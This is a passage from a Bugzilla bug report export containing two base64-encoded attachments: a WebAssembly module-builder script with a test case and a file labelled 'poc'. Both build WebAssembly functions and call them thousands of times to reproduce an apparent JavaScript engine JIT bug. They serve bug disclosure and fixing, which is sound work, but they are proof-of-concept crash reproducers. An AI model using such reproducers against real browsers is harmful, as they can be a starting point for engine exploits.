ICAgICAgICAgICBzZWN0aW9uLmVtaXRfdTgoa0FjdGl2ZVdpdGhJbmRleCB8IHNoYXJlZF9mbGFn
KTsKICAgICAgICAgICAgICBzZWN0aW9uLmVtaXRfdTMydihzZWcubWVtX2luZGV4KTsKICAgICAg
ICAgICAgfQogICAgICAgICAgICBzZWN0aW9uLmVtaXRfaW5pdF9leHByKHNlZy5vZmZzZXQpOwog
ICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgc2VjdGlvbi5lbWl0X3U4KGtQYXNzaXZlIHwg
c2hhcmVkX2ZsYWcpOwogICAgICAgICAgfQogICAgICAgICAgc2VjdGlvbi5lbWl0X3UzMnYoc2Vn
LmRhdGEubGVuZ3RoKTsKICAgICAgICAgIHNlY3Rpb24uZW1pdF9ieXRlcyhzZWcuZGF0YSk7CiAg
ICAgICAgfQogICAgICB9KTsKICAgIH0KCiAgICAvLyBBZGQgYW55IGV4cGxpY2l0bHkgYWRkZWQg
c2VjdGlvbnMuCiAgICBmb3IgKGxldCBleHAgb2Ygd2FzbS5leHBsaWNpdCkgewogICAgICBpZiAo
ZGVidWcpIHByaW50KCdlbWl0dGluZyBleHBsaWNpdCBAICcgKyBiaW5hcnkubGVuZ3RoKTsKICAg
ICAgYmluYXJ5LmVtaXRfYnl0ZXMoZXhwKTsKICAgIH0KCiAgICAvLyBBZGQgbmFtZXMuCiAgICBs
ZXQgbnVtX2Z1bmN0aW9uX25hbWVzID0gMDsKICAgIGxldCBudW1fZnVuY3Rpb25zX3dpdGhfbG9j
YWxfbmFtZXMgPSAwOwogICAgZm9yIChsZXQgZnVuYyBvZiB3YXNtLmZ1bmN0aW9ucykgewogICAg
ICBpZiAoZnVuYy5uYW1lICE9PSB1bmRlZmluZWQpICsrbnVtX2Z1bmN0aW9uX25hbWVzOwogICAg
ICBpZiAoZnVuYy5udW1Mb2NhbE5hbWVzKCkgPiAwKSArK251bV9mdW5jdGlvbnNfd2l0aF9sb2Nh
bF9uYW1lczsKICAgIH0KICAgIGlmIChudW1fZnVuY3Rpb25fbmFtZXMgPiAwIHx8IG51bV9mdW5j
dGlvbnNfd2l0aF9sb2NhbF9uYW1lcyA+IDAgfHwKICAgICAgICB3YXNtLm5hbWUgIT09IHVuZGVm
aW5lZCkgewogICAgICBpZiAoZGVidWcpIHByaW50KCdlbWl0dGluZyBuYW1lcyBAICcgKyBiaW5h
cnkubGVuZ3RoKTsKICAgICAgYmluYXJ5LmVtaXRfc2VjdGlvbihrVW5rbm93blNlY3Rpb25Db2Rl
LCBzZWN0aW9uID0+IHsKICAgICAgICBzZWN0aW9uLmVtaXRfc3RyaW5nKCduYW1lJyk7CiAgICAg
ICAgLy8gRW1pdCBtb2R1bGUgbmFtZS4KICAgICAgICBpZiAod2FzbS5uYW1lICE9PSB1bmRlZmlu
ZWQpIHsKICAgICAgICAgIHNlY3Rpb24uZW1pdF9zZWN0aW9uKGtNb2R1bGVOYW1lQ29kZSwgbmFt
ZV9zZWN0aW9uID0+IHsKICAgICAgICAgICAgbmFtZV9zZWN0aW9uLmVtaXRfc3RyaW5nKHdhc20u
bmFtZSk7CiAgICAgICAgICB9KTsKICAgICAgICB9CiAgICAgICAgLy8gRW1pdCBmdW5jdGlvbiBu
YW1lcy4KICAgICAgICBpZiAobnVtX2Z1bmN0aW9uX25hbWVzID4gMCkgewogICAgICAgICAgc2Vj
dGlvbi5lbWl0X3NlY3Rpb24oa0Z1bmN0aW9uTmFtZXNDb2RlLCBuYW1lX3NlY3Rpb24gPT4gewog
ICAgICAgICAgICBuYW1lX3NlY3Rpb24uZW1pdF91MzJ2KG51bV9mdW5jdGlvbl9uYW1lcyk7CiAg
ICAgICAgICAgIGZvciAobGV0IGZ1bmMgb2Ygd2FzbS5mdW5jdGlvbnMpIHsKICAgICAgICAgICAg
ICBpZiAoZnVuYy5uYW1lID09PSB1bmRlZmluZWQpIGNvbnRpbnVlOwogICAgICAgICAgICAgIG5h
bWVfc2VjdGlvbi5lbWl0X3UzMnYoZnVuYy5pbmRleCk7CiAgICAgICAgICAgICAgbmFtZV9zZWN0
aW9uLmVtaXRfc3RyaW5nKGZ1bmMubmFtZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgIH0pOwog
ICAgICAgIH0KICAgICAgICAvLyBFbWl0IGxvY2FsIG5hbWVzLgogICAgICAgIGlmIChudW1fZnVu
Y3Rpb25zX3dpdGhfbG9jYWxfbmFtZXMgPiAwKSB7CiAgICAgICAgICBzZWN0aW9uLmVtaXRfc2Vj
dGlvbihrTG9jYWxOYW1lc0NvZGUsIG5hbWVfc2VjdGlvbiA9PiB7CiAgICAgICAgICAgIG5hbWVf
c2VjdGlvbi5lbWl0X3UzMnYobnVtX2Z1bmN0aW9uc193aXRoX2xvY2FsX25hbWVzKTsKICAgICAg
ICAgICAgZm9yIChsZXQgZnVuYyBvZiB3YXNtLmZ1bmN0aW9ucykgewogICAgICAgICAgICAgIGlm
IChmdW5jLm51bUxvY2FsTmFtZXMoKSA9PSAwKSBjb250aW51ZTsKICAgICAgICAgICAgICBuYW1l
X3NlY3Rpb24uZW1pdF91MzJ2KGZ1bmMuaW5kZXgpOwogICAgICAgICAgICAgIG5hbWVfc2VjdGlv
bi5lbWl0X3UzMnYoZnVuYy5udW1Mb2NhbE5hbWVzKCkpOwogICAgICAgICAgICAgIGxldCBuYW1l
X2luZGV4ID0gMDsKICAgICAgICAgICAgICBmb3IgKGxldCBpID0gMDsgaSA8IGZ1bmMubG9jYWxf
bmFtZXMubGVuZ3RoOyArK2kpIHsKICAgICAgICAgICAgICAgIGlmICh0eXBlb2YgZnVuYy5sb2Nh
bF9uYW1lc1tpXSA9PSAnc3RyaW5nJykgewogICAgICAgICAgICAgICAgICBuYW1lX3NlY3Rpb24u
ZW1pdF91MzJ2KG5hbWVfaW5kZXgpOwogICAgICAgICAgICAgICAgICBuYW1lX3NlY3Rpb24uZW1p
dF9zdHJpbmcoZnVuYy5sb2NhbF9uYW1lc1tpXSk7CiAgICAgICAgICAgICAgICAgIG5hbWVfaW5k
ZXgrKzsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgIG5hbWVfaW5k
ZXggKz0gZnVuYy5sb2NhbF9uYW1lc1tpXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAg
ICB9CiAgICAgICAgICAgIH0KICAgICAgICAgIH0pOwogICAgICAgIH0KICAgICAgfSk7CiAgICB9
CgogICAgcmV0dXJuIGJpbmFyeS50cnVuY19idWZmZXIoKTsKICB9CgogIHRvQXJyYXkoZGVidWcg
PSBmYWxzZSkgewogICAgcmV0dXJuIEFycmF5LmZyb20odGhpcy50b0J1ZmZlcihkZWJ1ZykpOwog
IH0KCiAgaW5zdGFudGlhdGUoZmZpLCBvcHRpb25zKSB7CiAgICBsZXQgbW9kdWxlID0gdGhpcy50
b01vZHVsZShvcHRpb25zKTsKICAgIGxldCBpbnN0YW5jZSA9IG5ldyBXZWJBc3NlbWJseS5JbnN0
YW5jZShtb2R1bGUsIGZmaSk7CiAgICByZXR1cm4gaW5zdGFuY2U7CiAgfQoKICBhc3luY0luc3Rh
bnRpYXRlKGZmaSkgewogICAgcmV0dXJuIFdlYkFzc2VtYmx5Lmluc3RhbnRpYXRlKHRoaXMudG9C
dWZmZXIoKSwgZmZpKQogICAgICAgIC50aGVuKCh7bW9kdWxlLCBpbnN0YW5jZX0pID0+IGluc3Rh
bmNlKTsKICB9CgogIHRvTW9kdWxlKG9wdGlvbnMsIGRlYnVnID0gZmFsc2UpIHsKICAgIHJldHVy
biBuZXcgV2ViQXNzZW1ibHkuTW9kdWxlKHRoaXMudG9CdWZmZXIoZGVidWcpLCBvcHRpb25zKTsK
ICB9Cn0KCmZ1bmN0aW9uIHdhc21TaWduZWRMZWIodmFsLCBtYXhfbGVuID0gNSkgewogIGlmICh2
YWwgPT0gbnVsbCkgdGhyb3cgbmV3IEVycm9yKCJMZWIgdmFsdWUgbWF5IG5vdCBiZSBudWxsL3Vu
ZGVmaW5lZCIpOwogIGxldCByZXMgPSBbXTsKICBmb3IgKGxldCBpID0gMDsgaSA8IG1heF9sZW47
ICsraSkgewogICAgbGV0IHYgPSB2YWwgJiAweDdmOwogICAgLy8gSWYge3Z9IHNpZ24tZXh0ZW5k
ZWQgZnJvbSA3IHRvIDMyIGJpdHMgaXMgZXF1YWwgdG8gdmFsLCB3ZSBhcmUgZG9uZS4KICAgIGlm
ICgoKHYgPDwgMjUpID4+IDI1KSA9PSB2YWwpIHsKICAgICAgcmVzLnB1c2godik7CiAgICAgIHJl
dHVybiByZXM7CiAgICB9CiAgICByZXMucHVzaCh2IHwgMHg4MCk7CiAgICB2YWwgPSB2YWwgPj4g
NzsKICB9CiAgdGhyb3cgbmV3IEVycm9yKAogICAgICAnTGViIHZhbHVlIDwnICsgdmFsICsgJz4g
ZXhjZWVkcyBtYXhpbXVtIGxlbmd0aCBvZiAnICsgbWF4X2xlbik7Cn0KCmZ1bmN0aW9uIHdhc21T
aWduZWRMZWI2NCh2YWwsIG1heF9sZW4gPSAxMCkgewogIGlmICh2YWwgPT0gbnVsbCkgdGhyb3cg
bmV3IEVycm9yKCJMZWIgdmFsdWUgbWF5IG5vdCBiZSBudWxsL3VuZGVmaW5lZCIpOwogIGlmICh0
eXBlb2YgdmFsICE9ICJiaWdpbnQiKSB7CiAgICBpZiAodmFsIDwgTWF0aC5wb3coMiwgMzEpKSB7
CiAgICAgIHJldHVybiB3YXNtU2lnbmVkTGViKHZhbCwgbWF4X2xlbik7CiAgICB9CiAgICB2YWwg
PSBCaWdJbnQodmFsKTsKICB9CiAgbGV0IHJlcyA9IFtdOwogIGZvciAobGV0IGkgPSAwOyBpIDwg
bWF4X2xlbjsgKytpKSB7CiAgICBsZXQgdiA9IHZhbCAmIDB4N2ZuOwogICAgLy8gSWYge3Z9IHNp
Z24tZXh0ZW5kZWQgZnJvbSA3IHRvIDMyIGJpdHMgaXMgZXF1YWwgdG8gdmFsLCB3ZSBhcmUgZG9u
ZS4KICAgIGlmIChCaWdJbnQuYXNJbnROKDcsIHYpID09IHZhbCkgewogICAgICByZXMucHVzaChO
dW1iZXIodikpOwogICAgICByZXR1cm4gcmVzOwogICAgfQogICAgcmVzLnB1c2goTnVtYmVyKHYp
IHwgMHg4MCk7CiAgICB2YWwgPSB2YWwgPj4gN247CiAgfQogIHRocm93IG5ldyBFcnJvcigKICAg
ICAgJ0xlYiB2YWx1ZSA8JyArIHZhbCArICc+IGV4Y2VlZHMgbWF4aW11bSBsZW5ndGggb2YgJyAr
IG1heF9sZW4pOwp9CgpmdW5jdGlvbiB3YXNtVW5zaWduZWRMZWIodmFsLCBtYXhfbGVuID0gNSkg
ewogIGlmICh2YWwgPT0gbnVsbCkgdGhyb3cgbmV3IEVycm9yKCJMZWIgdmFsdWUgbWFueSBub3Qg
YmUgbnVsbC91bmRlZmluZWQiKTsKICBsZXQgcmVzID0gW107CiAgZm9yIChsZXQgaSA9IDA7IGkg
PCBtYXhfbGVuOyArK2kpIHsKICAgIGxldCB2ID0gdmFsICYgMHg3ZjsKICAgIGlmICh2ID09IHZh
bCkgewogICAgICByZXMucHVzaCh2KTsKICAgICAgcmV0dXJuIHJlczsKICAgIH0KICAgIHJlcy5w
dXNoKHYgfCAweDgwKTsKICAgIHZhbCA9IHZhbCA+Pj4gNzsKICB9CiAgdGhyb3cgbmV3IEVycm9y
KAogICAgICAnTGViIHZhbHVlIDwnICsgdmFsICsgJz4gZXhjZWVkcyBtYXhpbXVtIGxlbmd0aCBv
ZiAnICsgbWF4X2xlbik7Cn0KCmZ1bmN0aW9uIHdhc21JMzJDb25zdCh2YWwpIHsKICByZXR1cm4g
W2tFeHBySTMyQ29uc3QsIC4uLndhc21TaWduZWRMZWIodmFsLCA1KV07Cn0KCi8vIE5vdGU6IFNp
bmNlIHt2YWx9IGlzIGEgSlMgbnVtYmVyLCB0aGUgZ2VuZXJhdGVkIGNvbnN0YW50IG9ubHkgaGFz
IDUzIGJpdHMgb2YKLy8gcHJlY2lzaW9uLgpmdW5jdGlvbiB3YXNtSTY0Q29uc3QodmFsKSB7CiAg
cmV0dXJuIFtrRXhwckk2NENvbnN0LCAuLi53YXNtU2lnbmVkTGViNjQodmFsLCAxMCldOwp9Cgpm
dW5jdGlvbiB3YXNtRjMyQ29uc3QoZikgewogIC8vIFdyaXRlIGluIGxpdHRsZS1lbmRpYW4gb3Jk
ZXIgYXQgb2Zmc2V0IDAuCiAgZGF0YV92aWV3LnNldEZsb2F0MzIoMCwgZiwgdHJ1ZSk7CiAgcmV0
dXJuIFsKICAgIGtFeHByRjMyQ29uc3QsIGJ5dGVfdmlld1swXSwgYnl0ZV92aWV3WzFdLCBieXRl
X3ZpZXdbMl0sIGJ5dGVfdmlld1szXQogIF07Cn0KCmZ1bmN0aW9uIHdhc21GNjRDb25zdChmKSB7
CiAgLy8gV3JpdGUgaW4gbGl0dGxlLWVuZGlhbiBvcmRlciBhdCBvZmZzZXQgMC4KICBkYXRhX3Zp
ZXcuc2V0RmxvYXQ2NCgwLCBmLCB0cnVlKTsKICByZXR1cm4gWwogICAga0V4cHJGNjRDb25zdCwg
Ynl0ZV92aWV3WzBdLCBieXRlX3ZpZXdbMV0sIGJ5dGVfdmlld1syXSwgYnl0ZV92aWV3WzNdLAog
ICAgYnl0ZV92aWV3WzRdLCBieXRlX3ZpZXdbNV0sIGJ5dGVfdmlld1s2XSwgYnl0ZV92aWV3Wzdd
CiAgXTsKfQoKZnVuY3Rpb24gd2FzbVMxMjhDb25zdChmKSB7CiAgLy8gV3JpdGUgaW4gbGl0dGxl
LWVuZGlhbiBvcmRlciBhdCBvZmZzZXQgMC4KICBpZiAoQXJyYXkuaXNBcnJheShmKSkgewogICAg
aWYgKGYubGVuZ3RoICE9IDE2KSB0aHJvdyBuZXcgRXJyb3IoJ1MxMjhDb25zdCBuZWVkcyAxNiBi
eXRlcycpOwogICAgcmV0dXJuIFtrU2ltZFByZWZpeCwga0V4cHJTMTI4Q29uc3QsIC4uLmZdOwog
IH0KICBsZXQgcmVzdWx0ID0gW2tTaW1kUHJlZml4LCBrRXhwclMxMjhDb25zdF07CiAgaWYgKGFy
Z3VtZW50cy5sZW5ndGggPT09IDIpIHsKICAgIGZvciAobGV0IGogPSAwOyBqIDwgMjsgaisrKSB7
CiAgICAgIGRhdGFfdmlldy5zZXRGbG9hdDY0KDAsIGFyZ3VtZW50c1tqXSwgdHJ1ZSk7CiAgICAg
IGZvciAobGV0IGkgPSAwOyBpIDwgODsgaSsrKSByZXN1bHQucHVzaChieXRlX3ZpZXdbaV0pOwog
ICAgfQogIH0gZWxzZSBpZiAoYXJndW1lbnRzLmxlbmd0aCA9PT0gNCkgewogICAgZm9yIChsZXQg
aiA9IDA7IGogPCA0OyBqKyspIHsKICAgICAgZGF0YV92aWV3LnNldEZsb2F0MzIoMCwgYXJndW1l
bnRzW2pdLCB0cnVlKTsKICAgICAgZm9yIChsZXQgaSA9IDA7IGkgPCA0OyBpKyspIHJlc3VsdC5w
dXNoKGJ5dGVfdmlld1tpXSk7CiAgICB9CiAgfSBlbHNlIHsKICAgIHRocm93IG5ldyBFcnJvcign
UzEyOENvbnN0IG5lZWRzIGFuIGFycmF5IG9mIGJ5dGVzLCBvciB0d28gZjY0IHZhbHVlcywgJyAr
CiAgICAgICAgICAgICAgICAgICAgJ29yIGZvdXIgZjMyIHZhbHVlcycpOwogIH0KICByZXR1cm4g
cmVzdWx0Owp9CgpsZXQgW3dhc21Cck9uQ2FzdCwgd2FzbUJyT25DYXN0RmFpbF0gPSAoZnVuY3Rp
b24oKSB7CiAgcmV0dXJuIFsKICAgIChsYWJlbElkeCwgc291cmNlVHlwZSwgdGFyZ2V0VHlwZSkg
PT4KICAgICAgd2FzbUJyT25DYXN0SW1wbChsYWJlbElkeCwgc291cmNlVHlwZSwgdGFyZ2V0VHlw
ZSwgZmFsc2UpLAogICAgICAobGFiZWxJZHgsIHNvdXJjZVR5cGUsIHRhcmdldFR5cGUpID0+CiAg
ICAgIHdhc21Cck9uQ2FzdEltcGwobGFiZWxJZHgsIHNvdXJjZVR5cGUsIHRhcmdldFR5cGUsIHRy
dWUpLAogIF07CiAgZnVuY3Rpb24gd2FzbUJyT25DYXN0SW1wbChsYWJlbElkeCwgc291cmNlVHlw
ZSwgdGFyZ2V0VHlwZSwgYnJPbkZhaWwpIHsKICAgIGxhYmVsSWR4ID0gd2FzbVVuc2lnbmVkTGVi
KGxhYmVsSWR4LCBrTWF4VmFySW50MzJTaXplKTsKICAgIGxldCBzcmNIZWFwID0gd2FzbVNpZ25l
ZExlYihzb3VyY2VUeXBlLmhlYXBfdHlwZSwga01heFZhckludDMyU2l6ZSk7CiAgICBsZXQgdGd0
SGVhcCA9IHdhc21TaWduZWRMZWIodGFyZ2V0VHlwZS5oZWFwX3R5cGUsIGtNYXhWYXJJbnQzMlNp
emUpOwogICAgbGV0IHNyY0lzTnVsbGFibGUgPSBzb3VyY2VUeXBlLm9wY29kZSA9PSBrV2FzbVJl
Zk51bGw7CiAgICBsZXQgdGd0SXNOdWxsYWJsZSA9IHRhcmdldFR5cGUub3Bjb2RlID09IGtXYXNt
UmVmTnVsbDsKICAgIGZsYWdzID0gKHRndElzTnVsbGFibGUgPDwgMSkgKyBzcmNJc051bGxhYmxl
OwogICAgcmV0dXJuIFsKICAgICAga0dDUHJlZml4LCBick9uRmFpbCA/IGtFeHByQnJPbkNhc3RG
YWlsIDoga0V4cHJCck9uQ2FzdCwKICAgICAgZmxhZ3MsIC4uLmxhYmVsSWR4LCAuLi5zcmNIZWFw
LCAuLi50Z3RIZWFwXTsKICB9Cn0pKCk7CgpmdW5jdGlvbiBnZXRPcGNvZGVOYW1lKG9wY29kZSkg
ewogIHJldHVybiBnbG9iYWxUaGlzLmtXYXNtT3Bjb2RlTmFtZXM/LltvcGNvZGVdID8/ICd1bmtu
b3duJzsKfQoKZnVuY3Rpb24gd2FzbUYzMkNvbnN0U2lnbmFsaW5nTmFOKCkgewogIHJldHVybiBb
a0V4cHJGMzJDb25zdCwgMHhiOSwgMHhhMSwgMHhhNywgMHg3Zl07Cn0KCmZ1bmN0aW9uIHdhc21G
NjRDb25zdFNpZ25hbGluZ05hTigpIHsKICByZXR1cm4gW2tFeHByRjY0Q29uc3QsIDB4MDAsIDB4
MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4ZjQsIDB4N2ZdOwp9CgoKY29uc3QgYnVpbGRl
ciA9IG5ldyBXYXNtTW9kdWxlQnVpbGRlcigpOwpsZXQgJHNpZzMgPSBidWlsZGVyLmFkZFR5cGUo
a1NpZ19pX2lpaSk7CmxldCBtYWluMiA9IGJ1aWxkZXIuYWRkRnVuY3Rpb24odW5kZWZpbmVkLCAk
c2lnMykuZXhwb3J0QXMoJ21haW4nKTsKCi8vIGZ1bmMgJG1haW46IFtrV2FzbUkzMiwga1dhc21J
MzIsIGtXYXNtSTMyXSAtPiBba1dhc21JMzJdCm1haW4yLmFkZEJvZHkoWwogICAgICAuLi53YXNt
STMyQ29uc3QoMCksCiAgICAgIC4uLndhc21JNjRDb25zdCgwKSwKICAgICAgLi4ud2FzbUk2NENv
bnN0KDApLAogICAgICAuLi53YXNtSTY0Q29uc3QoMCksCiAgICAgIGtFeHBySTY0UG9wY250LAog
ICAgICBrRXhwckk2NFNobCwKICAgICAgLi4ud2FzbUk2NENvbnN0KDg5MDg1MjQ5MTQ2OTQ2NDA1
MzVuKSwKICAgICAga0V4cHJJNjRTaHJTLAogICAgICBrRXhwckk2NFNoclMsCiAgICAgIGtTaW1k
UHJlZml4LCBrRXhwckk2NHgyU3BsYXQsCiAgICAgIC4uLlNpbWRJbnN0cihrRXhwckkzMng0Qml0
TWFzayksCiAgICAgIGtFeHBySTMyTHRVLAogIF0pOwoKY29uc3QgaW5zdGFuY2UgPSBidWlsZGVy
Lmluc3RhbnRpYXRlKHt9KTsKZj1pbnN0YW5jZS5leHBvcnRzLm1haW47CmZvciAodmFyIGkgPSAw
OyBpIDwgMTAwMDA7IGkrKykgewogIGYoKTsKfQo=
</data>

          </attachment>
          <attachment
              isobsolete="0"
              ispatch="0"
              isprivate="0"
          >
            <attachid>474591</attachid>
            <date>2025-03-17 03:52:20 -0700</date>
            <delta_ts>2025-03-17 03:52:20 -0700</delta_ts>
            <desc>poc</desc>
            <filename>poc</filename>
            <type>text/plain</type>
            <size>2314</size>
            <attacher>xiangwei1895</attacher>
            
              <data encoding="base64">dmFyIHdhc21fY29kZSA9IG5ldyBVaW50OEFycmF5KFswLDk3LDExNSwxMDksMSwwLDAsMCwxLDE3
NSwxMjgsMTI4LDEyOCwwLDcsNzgsMSw5NCwxMjAsMSw3OCwxLDk0LDExOSwxLDc4LDEsODAsMCw5
NSwwLDc4LDEsOTYsMywxMjcsMTI3LDEyNywxLDEyNyw5NiwzLDEwMCwwLDEwMCwxMDcsMTAwLDEw
NiwwLDk2LDMsMTAwLDEwOSwxMDAsMTA5LDEwMCwxMDksMCw5NiwwLDAsMiwxNTEsMTI4LDEyOCwx
MjgsMCwyLDMsMTA5LDExMSwxMDAsNCwxMDIsMTExLDExMSw0OCwwLDYsMywxMDksMTExLDEwMCw0
LDEwMiwxMTEsMTExLDQ5LDAsNiwzLDEzMCwxMjgsMTI4LDEyOCwwLDEsMyw0LDEzMywxMjgsMTI4
LDEyOCwwLDEsMTEyLDEsMSwxLDUsMTMyLDEyOCwxMjgsMTI4LDAsMSwxLDAsMzIsMTMsMTMzLDEy
OCwxMjgsMTI4LDAsMiwwLDQsMCw1LDcsMTM2LDEyOCwxMjgsMTI4LDAsMSw0LDEwOSw5NywxMDUs
MTEwLDAsMiw5LDEzOSwxMjgsMTI4LDEyOCwwLDEsNiwwLDY1LDAsMTEsMTEyLDEsMjEwLDIsMTEs
MTAsMjM0LDEzMCwxMjgsMTI4LDAsMSwyMzEsMiwxLDEsOTksMSw2LDEyNyw2LDEyNyw2NSwxOTAs
MTc0LDE1LDY1LDIxNiwxNzksMjQ3LDEsNzIsNjUsMCwyNTMsMTUsMjUzLDE2NCwxLDY1LDAsMjUz
LDE1LDI1MywxNjQsMSw3Miw3Miw2NiwxMzMsMjAxLDI0NiwxMzIsMjEzLDE3NSwxNDgsMTc3LDE5
NiwwLDY2LDI0MiwyNTEsMTU2LDEzMSwxNTMsMjA1LDE4NSwyMzIsODYsNjYsMjI2LDIzMywyMDAs
MjIyLDE1NSwxNjUsMjA5LDE4MywxMDcsNjYsMjMwLDIyMywyMDEsMjA4LDI0NCwyMDEsMjM2LDE3
NCwzMSwxMzUsNjYsMTcxLDE0NywxOTIsMTkxLDEzNiwxODgsMTk3LDE1MCw1Nyw2NiwyMTMsMTg1
LDIyNCwyMjUsMTMwLDIzNywxOTMsMjM5LDIyOSwwLDEzNSwxMzUsMTM1LDY2LDE5OSwxNTEsMTg3
LDE1NSwyMDAsMjMxLDE3MiwxODUsMTAxLDY2LDE2OSwxNDYsMjA1LDE3MiwyMzIsMTg4LDE3NSwx
NjEsMTY4LDEyNywxMzUsNjYsMTU4LDIyNiw2MywxMzUsNjYsMjI1LDI1MCwxMzQsMTM2LDE0Niwx
NDUsMjE4LDE5OSw0OCw2NiwyNTIsMTQ4LDE3MywyMzYsMTYxLDIyOSwxODIsMjI3LDEzMiwxMjcs
MTM1LDY2LDIxNywyNTUsMTUzLDIyOSwxOTUsMjI2LDE2MSwxNTgsNDgsNjYsMTU3LDE2NiwyNDks
MTc5LDEzNSwxNDcsMTY3LDE0NCw2NywxMzUsMTM1LDY2LDI1MSwyMzcsMTk5LDIxMSwyMTUsMjAx
LDE3NSwxNjksMTMsNjYsMTMzLDI0MywxOTAsMTYxLDE0MSwxNTEsMjE3LDIwMywxNjIsMTI3LDEz
NSw2NiwyMDAsMTMyLDE1MSwxODgsMTY4LDE1OSwxOTEsMTUzLDEwNiw2NiwyMTksMTc0LDE3Miwx
NjMsMjM3LDIwMiwxNzEsMjMwLDIwOCwwLDEzNSwxMzUsMTM1LDEzNSw2NiwyMjksMTcyLDEzOSwx
NTksMjM3LDE1MSwyNDMsMTM2LDQ1LDY2LDE0OCwxNjQsMTMwLDIzOCwyNDcsMTMwLDE1MSwxMzIs
OSw2NiwxNzksMjM1LDIxMiwyMjQsMjIwLDE5NywyNDUsMjQ3LDIxOSwwLDEzNSwxMzUsMTM1LDY2
LDE2MiwxNTUsMjE4LDE4MCwyMjksMjI2LDE4OSwxNTUsMTQ5LDEyNyw2NiwyNDQsMTY5LDE3Niwx
NjQsMjAwLDE0MCwxMzksMTQ3LDE4OCwxMjcsMTIzLDEzNCw2NiwxNTEsMTY3LDIyMSwxNjgsMjIy
LDEzNCwyMjAsMjA4LDI1MSwwLDEzNSwxMzUsMTM1LDEzMiwyNTMsMTgsMjUzLDIyNCwxLDI1Mywy
MjQsMSwyNTMsMjI0LDEsMjUzLDIyNCwxLDI1MywyMjQsMSwyNTMsMjI0LDEsMjUzLDIyNCwxLDI1
MywyMjQsMSwyNTMsMjI0LDEsMjUzLDIyNCwxLDI1MywyMjQsMSwyNTMsMjI0LDEsMjUzLDIyNCwx
LDI1MywxNjQsMSw3Myw3LDAsMjYsMjYsMjYsNjUsMCw3LDEsMjYsMjYsMjYsNjUsMTUyLDIxLDEx
LDI1LDY1LDIwMSwyMzMsMSwxMSwxMSwwLDE1MiwxMjgsMTI4LDEyOCwwLDQsMTEwLDk3LDEwOSwx
MDEsMSwxNDEsMTI4LDEyOCwxMjgsMCwyLDAsNCwxMDIsMTExLDExMSw0OCwxLDQsMTAyLDExMSwx
MTEsNDldKTsKdmFyIHdhc21fbW9kdWxlID0gbmV3IFdlYkFzc2VtYmx5Lk1vZHVsZSh3YXNtX2Nv
ZGUpOwpmdW5jdGlvbiBmb28oKXt9Owpjb25zdCBvMTUgPSB7ImZvbzAiOiBmb28sImZvbzEiOiBm
b299Owpjb25zdCBvMTYgPSB7Im1vZCI6IG8xNX07CnZhciB3YXNtX2luc3RhbmNlID0gbmV3IFdl
YkFzc2VtYmx5Lkluc3RhbmNlKHdhc21fbW9kdWxlLCBvMTYpOwp2YXIgZiA9IHdhc21faW5zdGFu
Y2UuZXhwb3J0cy5tYWluOwp2YXIgcmVzdWx0MSA9IGYoMCwgLTAsIDEpOwp2YXIgcmVzdWx0MiA9
IGYoMCwgLTAsIDEpOwpmb3IgKHZhciBpID0gMDsgaSA8IDEwMDAwOyBpKyspIHsKICBmKC0wLCAw
LCAxKTsKfQp2YXIgcmVzdWx0MyA9IGYoMCwgLTAsIDEpOw==
</data>

          </attachment>
      

    </bug>

</bugzilla>